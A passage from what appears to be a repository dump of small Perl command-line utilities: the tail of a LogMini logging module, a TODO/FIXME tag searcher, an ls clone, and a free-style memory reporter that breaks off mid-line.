75 | our $AUTODUMP = 0; 76 | our $LOG_LEVEL = 'DEBUG'; 77 | our $TRACE_LEVEL = 0; 78 | #our $COLOR = $ENV{LM_COLOR} || 0; 79 | our $COLOR = 1; 80 | our $ESCAPE_WHITESPACE = 1; 81 | 82 | my %log_level_map = ( 83 | DEBUG => 1, 84 | INFO => 2, 85 | WARN => 3, 86 | CRITICAL => 4, 87 | MUTE => 0, 88 | ERROR => 99, 89 | ); 90 | 91 | sub import { 92 | my $class = shift; 93 | my $package = caller(0); 94 | my @args = @_; 95 | 96 | my %want_export; 97 | my $env_debug; 98 | while ( my $arg = shift @args ) { 99 | if ( $arg eq 'env_debug' ) { 100 | $env_debug = shift @args; 101 | } else { 102 | $want_export{$arg} = 1; 103 | } 104 | } 105 | 106 | if ( ! keys %want_export ) { 107 | #all 108 | $want_export{$_} = 1 for @EXPORT; 109 | } 110 | 111 | no strict 'refs'; 112 | for my $f (grep !/^debug/, @EXPORT) { 113 | if ( $want_export{$f} ) { 114 | *{"$package\::$f"} = \&$f; 115 | } 116 | } 117 | 118 | for my $f (map { ($_ . 'f', $_ . 'ff') } qw/debug/) { 119 | if ( $want_export{$f} ) { 120 | if ( $env_debug ) { 121 | *{"$package\::$f"} = sub { 122 | local $TRACE_LEVEL = $TRACE_LEVEL + 1; 123 | local $ENV_DEBUG = $env_debug; 124 | $f->(@_); 125 | }; 126 | } else { 127 | *{"$package\::$f"} = \&$f; 128 | } 129 | } 130 | } 131 | 132 | } 133 | 134 | sub log_crit { 135 | print_log( "CRITICAL", 0, @_ ); 136 | } 137 | 138 | sub log_warn { 139 | print_log( "WARN", 0, @_ ); 140 | } 141 | 142 | sub log_info { 143 | print_log( "INFO", 0, @_ ); 144 | } 145 | 146 | sub log_debug { 147 | return if !$ENV{$ENV_DEBUG} || $log_level_map{DEBUG} < $log_level_map{uc $LOG_LEVEL}; 148 | print_log( "DEBUG", 0, @_ ); 149 | } 150 | 151 | sub log_critf { 152 | print_log( "CRITICAL", 1, @_ ); 153 | } 154 | 155 | sub log_warnf { 156 | print_log( "WARN", 1, @_ ); 157 | } 158 | 159 | sub log_infof { 160 | print_log( "INFO", 1, @_ ); 161 | } 162 | 163 | sub log_debugf { 164 | return if !$ENV{$ENV_DEBUG} || $log_level_map{DEBUG} < $log_level_map{uc $LOG_LEVEL}; 165 | 166 | print_log( "DEBUG", 1, @_ ); 167 | } 168 | 169 | sub log_croak { 170 | local $PRINT = $DIE; 171 | local $LOG_LEVEL = 'DEBUG'; 172 | 173 | print_log( "ERROR", 0, @_ ); 174 | } 175 | 176 | sub log_croakf { 177 | local $PRINT = $DIE; 178 | local $LOG_LEVEL = 'DEBUG'; 179 | 180 | print_log( "ERROR", 1, @_ ); 181 | } 182 | 183 | sub print_log { 184 | my $tag = shift; 185 | my $full = shift; 186 | 187 | my $_log_level = $log_level_map{uc $LOG_LEVEL} || return; 188 | return unless $log_level_map{$tag} >= $_log_level; 189 | 190 | my $time = &get_now_time(); 191 | 192 | my $trace; 193 | if ( $full ) { 194 | my $i = $TRACE_LEVEL + 1; 195 | my @stack; 196 | while ( my @caller = caller($i) ) { 197 | #($package, $filename, $line $subroutine) = caller; 198 | push @stack, $caller[1] . ":" . $caller[2]; 199 | $i++; 200 | } 201 | $trace = join " ,", @stack; 202 | } else { 203 | my @caller = caller($TRACE_LEVEL + 1); 204 | #($package, $filename, $line, $subroutine) = caller; 205 | $trace = $caller[1] . ":" . $caller[2]; 206 | } 207 | 208 | my $messages = ''; 209 | if ( @_ == 1 && defined $_[0]) { 210 | $messages = $AUTODUMP ? '' . LogMini::Dumper->new($_[0]) : $_[0]; 211 | } elsif ( @_ >= 2 ) { 212 | $messages = sprintf(shift, map { $AUTODUMP ? LogMini::Dumper->new($_) : $_ } @_); 213 | } 214 | 215 | if ($ESCAPE_WHITESPACE) { 216 | $messages =~ s/\x0d/\\r/g; 217 | $messages =~ s/\x0a/\\n/g; 218 | $messages =~ s/\x09/\\t/g; 219 | } 220 | 221 | my $raw_message = $messages; 222 | if ( $COLOR ) { 223 | $messages = Term::ANSIColor::color($DEFAULT_COLOR->{lc($tag)}->{text}) 224 | . $messages . Term::ANSIColor::color("reset") 225 | if $DEFAULT_COLOR->{lc($tag)}->{text}; 226 | $messages = Term::ANSIColor::color("on_" . $DEFAULT_COLOR->{lc($tag)}->{background}) 227 | . $messages . Term::ANSIColor::color("reset") 228 | if $DEFAULT_COLOR->{lc($tag)}->{background}; 229 | } 230 | 231 | $PRINT->( 232 | $time, 233 | $tag, 234 | $messages, 235 | $trace, 236 | $raw_message 237 | ); 238 | } 239 | 240 | sub ddf { 241 | my $value = shift; 242 | LogMini::Dumper::dumper($value); 243 | } 244 | 245 | sub get_now_time { 246 | my ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = localtime(time); 247 | my $now_time = sprintf("%d.%d.%d %02d:%02d:%02d", 248 | $year + 1900, $mon + 1, $mday, $hour, $min, $sec); 249 | 250 | return "$now_time"; 251 | } 252 | 1; 253 | 254 | ##################################################################### 255 | package LogMini::Dumper; 256 | 257 | use strict; 258 | use warnings; 259 | use base qw/Exporter/; 260 | use Data::Dumper; 261 | use Scalar::Util qw/blessed/; 262 | 263 | use overload 264 | '""' => \&stringfy, 265 | '0+' => \&numeric, 266 | fallback => 1; 267 | 268 | sub new { 269 | my ($class, $value) = @_; 270 | bless \$value, $class; 271 | } 272 | 273 | sub stringfy { 274 | my $self = shift; 275 | my $value = $$self; 276 | 277 | if ( blessed($value) && (my $stringify = overload::Method( $value, '""' ) 278 | || overload::Method( $value, '0+' )) ) { 279 | $value = $stringify->($value); 280 | } 281 | dumper($value); 282 | } 283 | 284 | sub numeric { 285 | my $self = shift; 286 | my $value = $$self; 287 | 288 | if ( blessed($value) && (my $numeric = overload::Method( $value, '0+' ) 289 | || overload::Method( $value, '""' )) ) { 290 | $value = $numeric->($value); 291 | } 292 | $value; 293 | } 294 | 295 | sub dumper { 296 | my $value = shift; 297 | 298 | if ( defined $value && ref($value) ) { 299 | local $Data::Dumper::Terse = 1; 300 | local $Data::Dumper::Indent = 0; 301 | local $Data::Dumper::Sortkeys = 1; 302 | $value = Data::Dumper::Dumper($value); 303 | } 304 | $value; 305 | } 306 | 307 | 1; 308 | __END__ 309 | 310 | -------------------------------------------------------------------------------- /tasks.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | # 3 | 4 | # tasks.pl -- perl script for search tags for project. {{{1 5 | # tags such as: TODO, BUG, FIXME 6 | # 7 | # Author: soarpenguin 8 | # First release Jan.13 2011 9 | # 1}}} 10 | 11 | use strict; 12 | use warnings; 13 | use Getopt::Long; 14 | use File::Basename; 15 | use Smart::Comments; 16 | use File::Spec::Functions; 17 | use POSIX qw(strftime); 18 | use Cwd; 19 | 20 | use Term::ANSIColor; 21 | #print color("red"), "Stop!\n", color("reset"); 22 | #print color("green"), "Go!\n", color("reset"); 23 | 24 | my $script = basename $0; 25 | my $myversion = '0.2.0'; 26 | 27 | 28 | my $usage = " 29 | Usage: $script [option]... 30 | 31 | -t [,tag,..], --tags=[,tag,..] 32 | The tags for research, separated by \',\'. 33 | Such as: FIXME,TODO,BUG. 34 | 35 | -e [,ext,..], --exts=[,ext,..] 36 | Source code file extents for research file, separated by \',\'. 37 | such as: .c,.h,.pl etc. 38 | 39 | --exclude-dir=[,D2,] 40 | Exclude the given comma separated directories D1, D2 et cetera, 41 | from being scanned. For example --exclude-dir=.cvs,.svn will 42 | skip all files that have /.cvs/ or /.svn/ as part of their path. 43 | 44 | --exclude-exts=[,ext2,] 45 | Exclude the given comma separated extends ext1, ext2 et cetera, 46 | from being scanned. For example --exclude-dir=.out,.obj will 47 | skip all files that have those extends. 48 | 49 | -o , --output 50 | Place the output into . 51 | 52 | -i, --ignore-case 53 | Ignore case distinctions in both the PATTERN and the input 54 | files. (-i is specified by POSIX.) 55 | 56 | -u Display the filename first and then the match line. 57 | Default is disable. Form like: 58 | -------------[filename]------------- 59 | [tag] [lineno] [content] 60 | 61 | -h, --help 62 | Display this help and exit. 63 | 64 | -V, --version 65 | output version information and exit. 66 | "; 67 | 68 | if ($^O ne 'linux') { 69 | die "Only linux is supported but I am on $^O.\n"; 70 | } 71 | 72 | MAIN: { 73 | &main(); 74 | } 75 | 76 | sub main { 77 | my ($tag, $exts, $output, $ignorecase, $unite, $ret, $exclude, $exclude_exts); 78 | $unite = 0; 79 | 80 | $ret = GetOptions( 81 | 'tags|t=s' => \$tag, 82 | 'exts|e=s' => \$exts, 83 | 'exclude-dir=s' => \$exclude, 84 | 'exclude-exts=s' => \$exclude_exts, 85 | 'output|o=s'=> \$output, 86 | 'help' => \&usage, 87 | 'ignore-case|i' => \$ignorecase, 88 | 'unite|u' => \$unite, 89 | 'version|V' => \&version 90 | ); 91 | 92 | if(! $ret) { 93 | &usage(); 94 | } 95 | 96 | my @tags = (); 97 | if(! $tag) { 98 | &myprint("A tag must be specified."); 99 | &usage(); 100 | } else { 101 | @tags = split(",", $tag); 102 | print "+------------------------------------------+\n"; 103 | print "+\tThe search tag is: @tags.\n"; 104 | } 105 | 106 | my @extents = (); 107 | if(! $exts) { 108 | print("+\tSearch for all text file.\n"); 109 | } else { 110 | @extents = split(",", $exts); 111 | print "+\tThe search file suffix is: @extents.\n"; 112 | } 113 | 114 | my @exclude_dir = (); 115 | if($exclude) { 116 | @exclude_dir = split(",", $exclude); 117 | @exclude_dir = grep(!/^\.+$/, @exclude_dir); 118 | print "+\tThe exclude dir is: @exclude_dir.\n"; 119 | } 120 | 121 | my @exclude_extends = (); 122 | if($exclude_exts) { 123 | @exclude_extends = split(",", $exclude_exts); 124 | print "+\tThe exclude extends is: @exclude_extends.\n"; 125 | } 126 | print "+------------------------------------------+\n"; 127 | 128 | ##--------start search the files---------------------- 129 | # 130 | my @files = sort by_code @ARGV; 131 | my @failed; 132 | if($output) { 133 | open(STDOUT, ">$output") || print("Redirect stdout failed.\n"); 134 | } 135 | ## @files 136 | if(scalar @files <= 0) { 137 | push @files, "."; 138 | } 139 | foreach my $file (@files) { 140 | if(-e $file) { 141 | if(-f _) { 142 | if(scalar @exclude_extends >= 1) { 143 | if(&map_extends($file, @exclude_extends)) { 144 | next; 145 | } 146 | } 147 | if(scalar @extents >= 1) { 148 | if(&map_extends($file, @extents)) { 149 | &scan_file($file, $ignorecase, $unite, @tags); 150 | } 151 | } else { 152 | &scan_file($file, $ignorecase, $unite, @tags); 153 | } 154 | } elsif (-d _) { 155 | if(&map_word($file, @exclude_dir)) { 156 | next; 157 | } 158 | 159 | my @subfiles = &scan_folder($file); 160 | push(@files, @subfiles); 161 | } else { 162 | push(@failed, $file); 163 | } 164 | } else { 165 | push(@failed, $file); 166 | } 167 | #my @tmp = &scan_folder($file); 168 | ## @tmp 169 | } 170 | ## @failed 171 | close(STDOUT); 172 | } 173 | #----------------------------------------------------- 174 | # 175 | sub usage { 176 | print $usage; 177 | exit; 178 | } 179 | 180 | sub version { 181 | print "$script version $myversion\n"; 182 | &usage(); 183 | } 184 | 185 | sub mydie { 186 | print color("red"); 187 | print("@_ \n"); 188 | print color("reset"); 189 | &usage(); 190 | } 191 | 192 | sub myprint { 193 | print color("red"); 194 | print("@_ \n"); 195 | print color("reset"); 196 | } 197 | 198 | sub scan_file { 199 | my ($filename, $fd, $ignorecase, $unite, $found); 200 | $filename = shift; 201 | $ignorecase = shift; 202 | $unite = shift; 203 | $found = 0; 204 | ## $filename 205 | ## @_ 206 | 207 | open($fd, "<", "$filename"); 208 | my ($line, $lineno); 209 | 210 | if($fd) { 211 | $lineno = 0; 212 | while($line = <$fd>) { 213 | $lineno++; 214 | foreach my $tag (@_) { 215 | # TODO support the regx. 216 | my $re = qr/$tag/; 217 | if($ignorecase) { 218 | unless($line =~ /$re/i) { 219 | next; 220 | } 221 | } else { 222 | unless($line =~ /$re/) { 223 | next; 224 | } 225 | } 226 | #if($line =~ m/$tag/) { 227 | if(!$found and $unite) { 228 | print "---------------$filename---------------\n"; 229 | $found = 1; 230 | } 231 | $line =~ s/^\s+//; 232 | if($unite) { 233 | print("[$tag], ($lineno), $line"); 234 | } else { 235 | print("[$tag], $filename, ($lineno), $line"); 236 | } 237 | #} 238 | } 239 | } 240 | close($fd); 241 | return 1; 242 | } else { 243 | return 0; 244 | } 245 | } 246 | 247 | sub scan_folder { 248 | my $dir = shift; 249 | ## $dir 250 | opendir my $dh, $dir or return undef; 251 | 252 | my @files = readdir $dh; 253 | closedir($dh); 254 | @files = sort by_code @files; 255 | 256 | # skip the hidden file or dir, such as .git/ 257 | @files = grep(/^[^\.]/, @files); 258 | for my $i(0..$#files) { 259 | $files[$i] = catfile($dir, $files[$i]); 260 | } 261 | ## @files 262 | return @files; 263 | } 264 | 265 | sub by_code { 266 | return "\L$a" cmp "\L$b"; 267 | } 268 | 269 | sub map_word { 270 | my $word = shift; 271 | my @array = @_; 272 | 273 | map { if($word =~ /($_)$/) { return 1; } } @array; 274 | 275 | return 0; 276 | } 277 | 278 | sub map_extends { 279 | my $word = shift; 280 | my @array = @_; 281 | 282 | if($word =~ /(\.(\w+))$/) { 283 | map { if($word =~ /($_)$/) { return 1; } } @array; 284 | } 285 | 286 | return 0; 287 | } 288 | -------------------------------------------------------------------------------- /ls.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | # 3 | 4 | # ls.pl -- ls command implementation in perl. {{{1 5 | # 6 | # Author: soarpenguin 7 | # First release Nov.14 2012 8 | # 1}}} 9 | 10 | use strict; 11 | use warnings; 12 | use Getopt::Long; 13 | use File::Basename; 14 | #use Smart::Comments; 15 | use File::Spec::Functions; 16 | use POSIX qw(strftime); 17 | use Cwd; 18 | use feature 'state'; 19 | 20 | use Term::ANSIColor; 21 | #print color("red"), "Stop!\n", color("reset"); 22 | #print color("green"), "Go!\n", color("reset"); 23 | 24 | my $script = basename $0; 25 | my $myversion = '0.2.0'; 26 | 27 | my $usage = "Usage: $script [OPTION]... [FILE]... 28 | 29 | List information about the FILEs (the current directory by default). 30 | Sort entries alphabetically if none of -cftuvSUX nor --sort is specified. 31 | 32 | Mandatory arguments to long options are mandatory for short options too. 33 | -a, --all do not ignore entries starting with . 34 | -g like -l, but do not list owner 35 | -1 list one file per line 36 | -n, --numeric-uid-gid like -l, but list numeric user and group IDs 37 | -o like -l, but do not list group information 38 | -r, --reverse reverse order while sorting 39 | --help display this help and exit 40 | --version output version information and exit 41 | 42 | SIZE may be (or may be an integer optionally followed by) one of following: 43 | KB 1000, K 1024, MB 1000*1000, M 1024*1024, and so on for G, T, P, E, Z, Y. 44 | 45 | Using color to distinguish file types is disabled both by default and 46 | with --color=never. With --color=auto, ls emits color codes only when 47 | standard output is connected to a terminal. The LS_COLORS environment 48 | variable can change the settings. Use the dircolors command to set it. 49 | 50 | Exit status: 51 | 0 if OK, 52 | 1 if minor problems (e.g., cannot access subdirectory), 53 | 2 if serious trouble (e.g., cannot access command-line argument). 54 | "; 55 | my ($all, $list, $reverse, $nogid, $numeric_uid_gid); 56 | my ($noowner); 57 | 58 | my $ret = GetOptions( 59 | 'l' => \$list, 60 | 'n|numeric-uid-gid' => \$numeric_uid_gid, 61 | 'all' => \$all, 62 | 'g' => \$noowner, 63 | 'o' => \$nogid, 64 | 'reverse|r' => \$reverse, 65 | 'help' => \&usage, 66 | 'version|V' => \&version 67 | ); 68 | 69 | if(! $ret) { 70 | &usage(); 71 | } 72 | 73 | #------------------------------------------------------ 74 | 75 | &main(); 76 | 77 | sub main { 78 | if (@ARGV == 0) { 79 | $ARGV[0] = getcwd(); 80 | } 81 | 82 | if($numeric_uid_gid or $noowner) { 83 | $list = 1; 84 | } 85 | 86 | foreach my $myfile (@ARGV) { 87 | if($myfile eq '.') { 88 | $myfile = getcwd(); 89 | } 90 | 91 | print "---------------------$myfile-----------------------\n"; 92 | if(-e $myfile) { 93 | if(-d -x _) { 94 | ## $myfile 95 | &listdir($myfile); 96 | # opendir($myfile) 97 | } elsif (-f _) { 98 | if($list or $nogid) { 99 | &listfile($myfile); 100 | } else { 101 | printf "%18s", "$myfile"; 102 | } 103 | } else { 104 | print "$myfile unknown type or have no right.\n"; 105 | } 106 | } else { 107 | print "$myfile is not existed.\n"; 108 | } 109 | 110 | } 111 | } 112 | 113 | #------------------------------------------------------ 114 | # list file 115 | sub listfile { 116 | my $file = shift; 117 | 118 | # get file info use the stat. 119 | my ($right, $nlink, $uid, $gid, $size, $ctime) = 120 | (stat $file)[2, 3, 4, 5, 7, 10]; 121 | 122 | my $type = &filetype($file); 123 | 124 | $right = &right_string($right); 125 | if(! $numeric_uid_gid) { 126 | $uid = getpwuid($uid); #from user id to user name. 127 | $gid = getgrgid($gid); #from group id to group name. 128 | } 129 | 130 | # the format of below: Sun Nov 11 14:18:02 2012 131 | # $ctime = strftime "%a %b %e %H:%M:%S %Y", localtime($info[10]); 132 | $ctime = strftime "%b %e %H:%M %Y", localtime($ctime); 133 | 134 | # the -o option just like -l, no group id. 135 | if($nogid) { 136 | printf "%1s%9s %3d %8s %8d %12s", $type, $right, $nlink, $uid, $size, $ctime; 137 | } elsif($noowner) { 138 | printf "%1s%9s %3d %8s %8d %12s", $type, $right, $nlink, $gid, $size, $ctime; 139 | } else { 140 | printf "%1s%9s %3d %8s %8s %8d %12s", $type,$right,$nlink,$uid,$gid,$size,$ctime; 141 | } 142 | 143 | print "\n"; 144 | } 145 | 146 | # list dir 147 | sub listdir { 148 | state $count = 0; 149 | my $mydir = shift; 150 | ## $mydir 151 | my $dh; 152 | opendir $dh, $mydir or die "Can't open the $mydir\n"; 153 | 154 | $| = 1; 155 | my @files = readdir $dh; 156 | closedir($dh); 157 | 158 | if($reverse) { 159 | @files = sort by_code_reverse @files; 160 | } else { 161 | @files = sort by_code @files; 162 | } 163 | 164 | foreach my $file (@files) { 165 | ## $file; 166 | if($list or $nogid) { 167 | unless ($all) { 168 | next if($file =~ /^\.+$/); 169 | } 170 | 171 | my $fname = $file; 172 | $file = catfile($mydir, $file); 173 | $count++; 174 | ## $file 175 | # get file info use the stat. 176 | my ($right, $nlink, $uid, $gid, $size, $ctime) = 177 | (stat $file)[2, 3, 4, 5, 7, 10]; 178 | 179 | my $type = &filetype($file); 180 | 181 | $right = &right_string($right); 182 | if(! $numeric_uid_gid) { 183 | $uid = getpwuid($uid); #from user id to user name. 184 | $gid = getgrgid($gid); #from group id to group name. 185 | } 186 | 187 | # the format of below: Sun Nov 11 14:18:02 2012 188 | # $ctime = strftime "%a %b %e %H:%M:%S %Y", localtime($info[10]); 189 | $ctime = strftime "%b %e %H:%M %Y", localtime($ctime); 190 | 191 | # the -o option just like -l, no group id. 192 | if($nogid) { 193 | printf "%1s%9s %3d %8s %8d %12s", $type, $right, $nlink, $uid, $size, $ctime; 194 | } elsif($noowner) { 195 | printf "%1s%9s %3d %8s %8d %12s", $type, $right, $nlink, $gid, $size, $ctime; 196 | } else { 197 | printf "%1s%9s %3d %8s %8s %8d %12s", $type,$right,$nlink,$uid,$gid,$size,$ctime; 198 | } 199 | 200 | if(-d $file) { 201 | print color("blue"); 202 | $fname .= '/'; 203 | } elsif (-x _) { 204 | print color("green"); 205 | $fname .= '*'; 206 | } 207 | printf " %-18s\n", $fname; 208 | print color("reset"); 209 | 210 | } else { 211 | unless ($all) { 212 | next if($file =~ /^\.+$/); 213 | } 214 | my $fname = $file; 215 | $file = catfile($mydir, $file); 216 | $count++; 217 | ## $file 218 | if(-d $file) { 219 | print color("blue"); 220 | } elsif (-x _) { 221 | print color("green"); 222 | } 223 | printf "%-18s", $fname; 224 | print color("reset"); 225 | 226 | if($count % 5 == 0) { 227 | print "\n"; 228 | } 229 | } 230 | } 231 | 232 | if($count % 5 and !$list) { 233 | print "\n"; 234 | } 235 | } 236 | 237 | # function for signal action 238 | sub catch_int { 239 | my $signame = shift; 240 | print color("red"), "Stoped by SIG$signame\n", color("reset"); 241 | exit; 242 | } 243 | $SIG{INT} = __PACKAGE__ . "::catch_int"; 244 | $SIG{INT} = \&catch_int; # best strategy 245 | 246 | sub usage { 247 | print $usage; 248 | exit; 249 | } 250 | 251 | sub version { 252 | print "$script version $myversion\n"; 253 | exit; 254 | } 255 | 256 | sub by_code { 257 | return "\L$a" cmp "\L$b"; 258 | } 259 | 260 | sub by_code_reverse { 261 | return "\L$b" cmp "\L$a"; 262 | } 263 | 264 | sub filetype { 265 | my $file = shift; 266 | my $type = ''; 267 | 268 | if (-f $file) { 269 | $type = '-'; 270 | } elsif (-d _) { 271 | $type = 'd'; 272 | #$fname .= '/'; 273 | } elsif (-l _) { 274 | $type = 'l'; 275 | } elsif (-S _) { 276 | $type = 's'; 277 | } elsif (-b _) { 278 | $type = 'b'; 279 | } elsif (-c _) { 280 | $type = 'c'; 281 | } elsif (-p _) { 282 | $type = 'p'; 283 | } else { 284 | $type = 'u'; 285 | } 286 | } 287 | # convert a decimal to right string like 'rwx---rw-' 288 | sub right_string { 289 | my $right = shift; 290 | $right &= 0x777; 291 | 292 | #my $dec_perms = $right & 07777; 293 | #my $oct_perm_str = sprintf "%o", $dec_perms; 294 | $right = sprintf "%o", $right & 0777; 295 | $right =~ s/0/---/g; 296 | $right =~ s/1/--x/g; 297 | $right =~ s/2/-w-/g; 298 | $right =~ s/3/-wx/g; 299 | $right =~ s/4/r--/g; 300 | $right =~ s/5/r-x/g; 301 | $right =~ s/6/rw-/g; 302 | $right =~ s/7/rwx/g; 303 | ## $right 304 | 305 | return $right; 306 | } 307 | ## $myfile 308 | ## @ARGV 309 | 310 | -------------------------------------------------------------------------------- /free.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | # 3 | # free.pl -- display the infomation of memory. {{{1 4 | # 5 | # Author: soarpenguin 6 | # First release Nov.14 2012 7 | # 1}}} 8 | 9 | # total used free shared buffers cached 10 | #Mem: 1024800 897528 127272 0 47684 292140 11 | #-/+ buffers/cache: 557704 467096 12 | #Swap: 1046524 7560 1038964 13 | 14 | #-----run dprofpp to analyze the profile.----- 15 | # $perl -d:DProf free.pl 16 | # $dprofpp -u 17 | 18 | use strict; 19 | use warnings; 20 | use Getopt::Long; 21 | use File::Basename; 22 | #use Smart::Comments; 23 | 24 | use Term::ANSIColor; 25 | #print color("red"), "Stop!\n", color("reset"); 26 | #print color("green"), "Go!\n", color("reset"); 27 | 28 | my ($version, $help); 29 | my $myvesion = "0.1.0"; 30 | my $script = basename $0; 31 | my $meminfo = '/proc/meminfo'; 32 | my ($fd, @lines); 33 | my ($byte, $kb, $mb, $gb, $changed); 34 | my ($oldfmt, $count, $countflag, $sleep, $total); 35 | my $byteshift = 10; 36 | my ($memtotal, $memused, $memfree, $memshared, $membuf, $memcached); 37 | my ($minus, $plus); #for (-/+ buffers/cached) 38 | my ($lowtotal, $lowfree); 39 | my ($hightotal, $highfree); 40 | my $lhdetail; # display low/high memory detail info or not. 41 | my ($swaptotal, $swapused, $swapfree); 42 | 43 | my $usage = " 44 | Usage: $script [-b|-k|-m|-g] [-c count] [-l] [-o] [-t] [-s delay] [-V] 45 | 46 | -b Display the amount of memory in bytes. 47 | 48 | -c count 49 | Display the result count times. Requires the -s option. 50 | 51 | -g Display the amount of memory in gigabytes. 52 | 53 | -k Display the amount of memory in kilobytes. This is the default. 54 | 55 | -l Show detailed low and high memory statistics. 56 | 57 | -m Display the amount of memory in megabytes. 58 | 59 | -o Display the output in old format, the only difference being 60 | this option will disable the display of the \"buffer adjusted\" line. 61 | 62 | -s Continuously display the result delay seconds apart. 63 | You may actually specify any floating point number for 64 | delay, usleep(3) is used for microsecond resolution delay times. 65 | 66 | -t Display a line showing the column totals. 67 | 68 | -h, --help 69 | Display this help and exit 70 | 71 | -V Display version information. 72 | "; 73 | 74 | my $ret = GetOptions( 75 | 'byte|b' => \$byte, 76 | 'k|KB' => \$kb, 77 | 'm|MB' => \$mb, 78 | 'g|GB' => \$gb, 79 | 'c=i' => \$count, 80 | 's=f' => \$sleep, 81 | 't' => \$total, 82 | 'o' => \$oldfmt, 83 | 'l' => \$lhdetail, 84 | 'help|h|?' => \&usage, #point to the usage(); 85 | 'version|V' => \&version 86 | ); 87 | 88 | if(! $ret) { 89 | &usage(); 90 | } 91 | 92 | #if($help or $version) { 93 | # &usage(); 94 | #} 95 | 96 | if(! -e $meminfo) { 97 | print "Need the system file of $meminfo. Try mount /proc\n"; 98 | die; 99 | } 100 | 101 | # function for signal action 102 | sub catch_int { 103 | my $signame = shift; 104 | print color("red"), "Stoped by SIG$signame\n", color("reset"); 105 | exit; 106 | } 107 | $SIG{INT} = __PACKAGE__ . "::catch_int"; 108 | $SIG{INT} = \&catch_int; # best strategy 109 | 110 | if($byte) { 111 | $byteshift = 0; 112 | $changed = 1; 113 | } elsif ($mb) { 114 | $byteshift = 20; 115 | $changed = 1; 116 | } elsif ($gb) { 117 | $byteshift = 30; 118 | $changed = 1; 119 | } 120 | ### $changed 121 | ### $byteshift 122 | 123 | if($count and $sleep) { 124 | $countflag = 1; 125 | if($count < 0) { 126 | $count = -$count; 127 | } 128 | } elsif ($sleep) { 129 | $countflag = 0; 130 | $count = 0; 131 | } else { 132 | $countflag = 0; 133 | $count = 0; 134 | $sleep = 0; 135 | } 136 | 137 | ### $sleep 138 | ### $count; 139 | ### $countflag; 140 | $| = 1; 141 | do { 142 | 143 | open($fd, "<", $meminfo); 144 | die "Failed to open the file $meminfo" unless $fd; 145 | 146 | @lines = <$fd>; 147 | close $fd; 148 | #print @lines; 149 | foreach my $line (@lines) { 150 | if($line =~ /\bMemTotal:(\s+)(\d+)/i) { 151 | $line =~ s/[^0-9]//g; 152 | $memtotal = $line; 153 | } elsif ($line =~ /\bMemFree:(\s+)(\d+)/i) { 154 | $line =~ s/[^0-9]//g; 155 | $memfree = $line; 156 | } elsif ($line =~ /\bBuffers:(\s+)(\d+)/i) { 157 | $line =~ s/[^0-9]//g; 158 | $membuf = $line; 159 | } elsif ($line =~ /\bCached:(\s+)(\d+)/i) { 160 | $line =~ s/[^0-9]//g; 161 | $memcached = $line; 162 | } elsif ($line =~ /\bHighTotal:(\s+)(\d+)/i) { 163 | $line =~ s/[^0-9]//g; 164 | $hightotal = $line; 165 | } elsif ($line =~ /\bHighFree:(\s+)(\d+)/i) { 166 | $line =~ s/[^0-9]//g; 167 | $highfree = $line; 168 | } elsif ($line =~ /\bLowTotal:(\s+)(\d+)/i) { 169 | $line =~ s/[^0-9]//g; 170 | $lowtotal = $line; 171 | } elsif ($line =~ /\bLowFree:(\s+)(\d+)/i) { 172 | $line =~ s/[^0-9]//g; 173 | $lowfree = $line; 174 | } elsif ($line =~ /\bSwapTotal:(\s+)(\d+)/i) { 175 | $line =~ s/[^0-9]//g; 176 | $swaptotal = $line; 177 | } elsif ($line =~ /\bSwapFree:(\s+)(\d+)/i) { 178 | $line =~ s/[^0-9]//g; 179 | $swapfree = $line; 180 | last; 181 | } 182 | } 183 | 184 | # I'm not sure the $2 will influence the profile. so not use it. 185 | #foreach my $line (@lines) { 186 | # if($line =~ /\bMemTotal:(\s+)(\d+)/) { 187 | # $memtotal = $2; 188 | # } elsif ($line =~ /\bMemFree:(\s+)(\d+)/) { 189 | # $memfree = $2; 190 | # } elsif ($line =~ /\bBuffers:(\s+)(\d+)/) { 191 | # $membuf = $2; 192 | # } elsif ($line =~ /\bCached:(\s+)(\d+)/) { 193 | # $memcached = $2; 194 | # } elsif ($line =~ /\bHighTotal:(\s+)(\d+)/) { 195 | # $hightotal = $2; 196 | # } elsif ($line =~ /\bHighFree:(\s+)(\d+)/) { 197 | # $highfree = $2; 198 | # } elsif ($line =~ /\bLowTotal:(\s+)(\d+)/) { 199 | # $lowtotal = $2; 200 | # } elsif ($line =~ /\bLowFree:(\s+)(\d+)/) { 201 | # $lowfree = $2; 202 | # } elsif ($line =~ /\bSwapTotal:(\s+)(\d+)/) { 203 | # $swaptotal = $2; 204 | # } elsif ($line =~ /\bSwapFree:(\s+)(\d+)/) { 205 | # $swapfree = $2; 206 | # last; 207 | # } 208 | #} 209 | 210 | $memshared = 0; 211 | $memused = $memtotal - $memfree; 212 | $swapused = $swaptotal - $swapfree; 213 | $minus = $memused - $membuf - $memcached; 214 | $plus = $memfree + $membuf + $memcached; 215 | 216 | if($changed) { 217 | $memtotal = &sizeshift($memtotal, $byteshift); # mem total/used/free/buffer/cached 218 | $memused = &sizeshift($memused, $byteshift); 219 | $memfree = &sizeshift($memfree, $byteshift); 220 | $membuf = &sizeshift($membuf, $byteshift); 221 | $memcached = &sizeshift($memcached, $byteshift); 222 | $lowtotal = &sizeshift($lowtotal, $byteshift); # low total/free 223 | $lowfree = &sizeshift($lowfree, $byteshift); 224 | $hightotal = &sizeshift($hightotal, $byteshift); #high total/free 225 | $highfree = &sizeshift($highfree, $byteshift); 226 | $minus = &sizeshift($minus, $byteshift); # minus/plus buffer/cached 227 | $plus = &sizeshift($plus, $byteshift); 228 | $swaptotal = &sizeshift($swaptotal, $byteshift); # swap total/used/free 229 | $swapused = &sizeshift($swapused, $byteshift); 230 | $swapfree = &sizeshift($swapfree, $byteshift); 231 | } 232 | 233 | print color("blue"); # use blue color for infomation head. 234 | printf("%18s %10s %10s %10s %10s %10s\n", "total", "used", 235 | "free", "shared", "buffers", "cached"); 236 | print color("reset"); # reset the default color. 237 | 238 | printf("%-6s %11d %10d %10d %10d %10d %10d\n", "Mem:", $memtotal, $memused, 239 | $memfree, $memshared, $membuf, $memcached); 240 | 241 | # diplay the detail of low/high memory infomation 242 | if($lhdetail) { 243 | printf("%-6s %11d %10d %10d\n", "Low:", $lowtotal, $lowtotal-$lowfree, $lowfree); 244 | printf("%-6s %11d %10d %10d\n", "High:", $hightotal, 